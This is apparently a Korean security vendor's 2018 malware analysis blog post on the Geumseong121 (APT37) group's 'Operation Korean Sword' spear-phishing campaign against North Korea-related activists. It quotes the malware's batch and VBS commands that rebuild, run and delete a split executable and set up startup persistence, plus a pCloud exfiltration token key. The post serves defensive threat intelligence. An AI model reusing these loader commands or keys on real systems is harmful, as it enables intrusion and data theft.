상세 컨텐츠

본문 제목

금성121(Geumseong121) 정부기반 APT그룹, '코리안 스워드(Operation Korean Sword) 작전' 수행 중

악성코드 분석 리포트

by 알약(Alyac) 2018. 11. 16. 15:45

본문



안녕하세요? 이스트시큐리티 사이버 위협 인텔리전스(CTI) 전문조직인 시큐리티대응센터 (이하 ESRC)입니다.


특정 정부가 배후에 있는 것으로 알려져 있는 위협그룹 중에 '금성121(Geumseong121)' 조직은 글로벌 보안회사들이 다양한 이름으로 명명하고 있습니다. 그중 대표적 그룹명을 알파벳 순으로 나열하면 'APT37', 'Group123', 'RedEyes', 'ScarCruft' 등이 있습니다.


지난 02월 저희는 이 위협그룹이 카카오톡 메신저로 'Flash Player Zero-day (CVE-2018-4878)' 취약점 공격을 수행한 사례를 소개한 바 있으며, 그 이후에도 스피어 피싱(Spear Phishing)을 통해 한국에 집중 표적공격을 수행하고 있다는 것을 확인했습니다.


그리고 07월~08월에는 '남북이산가족찾기 전수조사' 내용으로 APT 공격을 수행한 사례와 '작전명 로켓 맨(Operation Rocket Man)' 분석자료를 공개한 바 있습니다. 물론, 아직 공개되지 않은 실제 침해사고 사례들이 다양하게 존재합니다.



금성121 APT '작전명 코리안 스워드(Operation Korean Sword)'



공개하지 않았던 사례 중 한국의 대북관련 단체나 활동가들을 상대로 다음과 같은 스피어 피싱 기반이 수행되었고, 이 공격 벡터는 08월부터 09월까지 문서내용이 동일하지만 코드가 달라진 변종이 연속적으로 발견됩니다.


악성 문서파일의 타이틀은 '7주 신뢰와 배려의 커뮤니케이션'이며 이 내용은 여러 보안 전문가들이 분석한 자료를 공개한 바 있고, '중국 보안업체 360이 블로그를 통해 분석자료'를 자세히 공개한 바 있습니다.



[그림 1] 스피어 피싱을 통해 유포된 악성 문서 파일 실행화면



ESRC는 'TTPs [Tactics(전술), Techniques(기술), Procedures(절차)]' 분석을 통해 금성121 APT 위협그룹이 지속적으로 대남 사이버 작전을 수행하고 있는 것을 확인할 수 있었습니다.


해당 위협그룹은 한국의 대북 분야 활동가들을 주요 타깃으로 삼고 있으며, 주로 단체나 개인을 겨냥해 감염된 컴퓨터의 내부 자료를 은밀히 탈취하는 공통 특징이 존재합니다.


사이버 전술적으로 한국의 기관이나 기업에서 많이 사용하는 HWP 문서파일 취약점이 빈번히 사용되며, DOC 문서의 매크로 실행 유도나 XLS 문서에 플래시 취약점을 삽입하는 기술을 구사한 바도 있습니다.


APT 공격조직 주체를 파악하는데는 공격벡터와 페이로드 기능을 제대로 분석하는 것이 매우 중요하고, 조직에 속한 공격자 개개인 별 고유 습관 및 특성 지표를 정의하고 관리할 필요가 있습니다.


지난 08월과 09월에 각각 제작된 HWP 악성문서 파일은 최종 수정 시점만 다르고, 동일한 생성날짜와 시간을 가지고 있으며, 문서 작성자나 마지막 저장자의 데이터가 'gichang', 'User1' 코드로 동일합니다.


ESRC는 악성문서에서 발견된 'gichang' 키워드와 발음을 활용해 고려시대 호위부대가 무예로 사용한 기창(깃발달린 창)을 활용해 '작전명 코리안 스워드(Operation Korean Sword)'로 명명하였습니다.



[그림 2] 동일한 내용을 담고 있는 악성 문서 파일의 메타데이터 비교 화면



포스트스크립트(EPS) 취약점 코드를 분석해 보면, 공격 패턴에서 조금씩 변화되는 부분이 존재합니다. 초기에는 시작프로그램 경로에 배치파일(BAT) 명령어를 추가해 재 부팅시 자동실행되도록 만들었습니다.



copy /b "%appdata%\*.oju01" "%appdata%\WinUpdate148399843.pif" & "%appdata%\WinUpdate148399843.pif" & del /f "%appdata%\WinUpdate148399843.pif"



그 다음 변종 코드에서는 배치파일(BAT)을 시작프로그램에 바로 등록하지 않고, 비주얼베이직스크립트(VBS)를 시작프로그램 경로에 등록하고, 그 다음에 배치파일이 로딩되도록 전략을 수정했습니다.



Set WshShell = CreateObject("WScript.shell")

WshShell.Run chr(34) & "%appdata%\UpgradeVer49.bat" & chr(34), 0

Set WsheShell = Nothing



VBS 파일의 쉘 명령에 의해 실행되는 BAT 파일은 시작프로그램에 있던 VBS 삭제코드가 추가된 점이 다릅니다.



copy /b "%appdata%\*.cog01" "%appdata%\WinUpdate75610890.pif" & "%appdata%\WinUpdate75610890.pif" & del /f "%appdata%\WinUpdate75610890.pif" & del /f "%appdata%\Microsoft\Windows\Start Menu\Programs\StartUp\*.vbs" & del /f "%appdata%\*01" & del /f "%appdata%\*.bat"



[그림 3] HWP 악성문서에 포함되어 있는 포스트 스크립트 실행 과정 화면



악성코드는 보안제품의 탐지를 회피하기 위한 목적 등으로 EXE 실행파일의 MZ 헤더코드를 분리해서 설치한 후 다시 결합하는 절차를 수행합니다.


생성되는 'Dhh01.oju01', 'Dee01.cog01' 파일에는 '4D', '5A' 2바이트(MZ)만 가지고 있으며 'Dhh02.oju01', 'Dee02.cog01' 파일에 나머지 실행파일 데이터를 가지고 있습니다.


그리고 최종 페이로드는 더미다(Themida) 암호화 프로그램으로 패킹되어 있으며, 이 파일은 기존 '금성121' 그룹이 사용하는 대표적인 RAT 기능을 수행하게 됩니다.



2018년 11월, 다시 돌아온 '작전명 코리안 스워드 (Operation Korean Sword)'



ESRC는 2018년 11월 16일 기존과 동일한 공격벡터를 가진 침해지표를 발견했고, 이 공격이 지난 8월부터 있었던  작전명 코리안 스워드의 연장선이라는 것을 확인했습니다.


이 공격은 대북, 탈북 등의 관계자들에게 공격이 수행됐으며, 다음과 같이 "기록부 - 발송" 내용으로 스피어 피싱 메일이 발송되었습니다.



[그림 3-2] 실제 공격에 사용된 스피어 피싱 이메일 화면



첨부파일은 '※ 기 록 부.hwp' 한글 파일명이 사용되었으며, 실행되면 손상된 파일처럼 알 수 없는 내용이 보여지게 되면서, EPS 취약점 코드가 실행됩니다.



[그림 4] '※ 기 록 부.hwp' 문서 파일 실행된 화면



악성 문서파일은 2018년 11월 16일 제작된 것을 확인할 수 있으며, 'BinData' 스트림에 'BIN0001.eps' 포스트 스크립트 코드가 포함된 것을 확인할 수 있습니다.



[그림 5] 악성문서 내부에 포함된 날짜와 포스트 스크립트



포스트 스크립트는 시작프로그램 경로에 'MemCacheLog24.vbs' 스크립트를 생성하고, 다음과 같은 내부 명령에 의해 'Cache51.bat' 배치파일을 실행하게 됩니다.



Set WshShell = CreateObject("WScript.shell")

WshShell.Run chr(34) & "%appdata%\Cache51.bat" & chr(34), 0

Set WsheShell = Nothing



'Cache51.bat' 배치파일 명령에는 다음과 같이 '*.hje01' 파일을 'MemoryOrder85584031.com' 바이너리 파일로 합치고, 실행한 후 삭제하게 됩니다.



copy /b "%appdata%\*.hje01" "%appdata%\MemoryOrder85584031.com" & "%appdata%\MemoryOrder85584031.com" & del /f "%appdata%\MemoryOrder85584031.com" 



[그림 6] 악성 포스트 스크립트 실행 코드 순서 및 화면



마지막에 생성되는 'MemoryOrder85584031.com' 페이로드는 한국시간 기준으로 '2018-11-15 00:47:51' 제작되었고, 내부에 포함되어 있는 최종 페이로드는 '2018-11-07 16:06:11' 제작되었습니다.


공격이 성공하면 pCloud 서비스를 통해 이용자 정보 유출을 시도하게 되는데, 주요 함수는 분석 회피 목적으로 다음과 같이 인코딩이 되어 있습니다.



[그림 7] pCloud 통신 시도 인코딩 화면



인코딩 루틴과 배열 값의 연산을 통해 다음과 같이 Token 키 로직이 작동하게 되며, 다음과 같은 키가 사용됩니다.


- tgaNZQXaLAwmirSFZfdPhI7ZCC8LqqvoBSkBdhfC5Fzw1SFeOr70



[그림 8] pCloud Index Key 연산 과정



공격자는 pCloud 서버를 구축할 때 다음과 같이 "redbigstone@hanmail.net" 계정을 사용한 것을 확인할 수 있습니다.



[그림 9] pCloud C2 서버 구축에 사용된 등록정보 및 공격자 이메일 계정



유사 변종 연관성 분석



ESRC에서는 2018년 10월과 11월 사이 다양한 변종이 제작된 것을 확인하였습니다. 유사 변종에 대한 분석 자료는 추후 별도의 인텔리전스 보고서를 통해 제공할 예정입니다.



- 합참의장후보자(박한기) 인사청문경과보고서_초안.hwp

- 델파이 설문지.hwp



이처럼 HWP 문서 파일에 포함된 포스트 스크립트(EPS) 취약점은 한컴 오피스 제품을 최신 버전으로 업데이트할 경우 고스트 스크립트 엔진 모듈이 제거되어 더 이상 위협에 노출되지 않습니다.


보안위협은 업데이트를 하지 않은 이용자를 노리고 있다는 점을 명심해야 합니다.


보다 추가적인 내용들은 ‘쓰렛 인사이드(Threat Inside)’를 통해 보다 체계적인 위협정보(IoC)와 전문화된 인텔리전스 리포트 서비스를 기업대상으로 제공할 예정입니다.



관련글 더보기

댓글 영역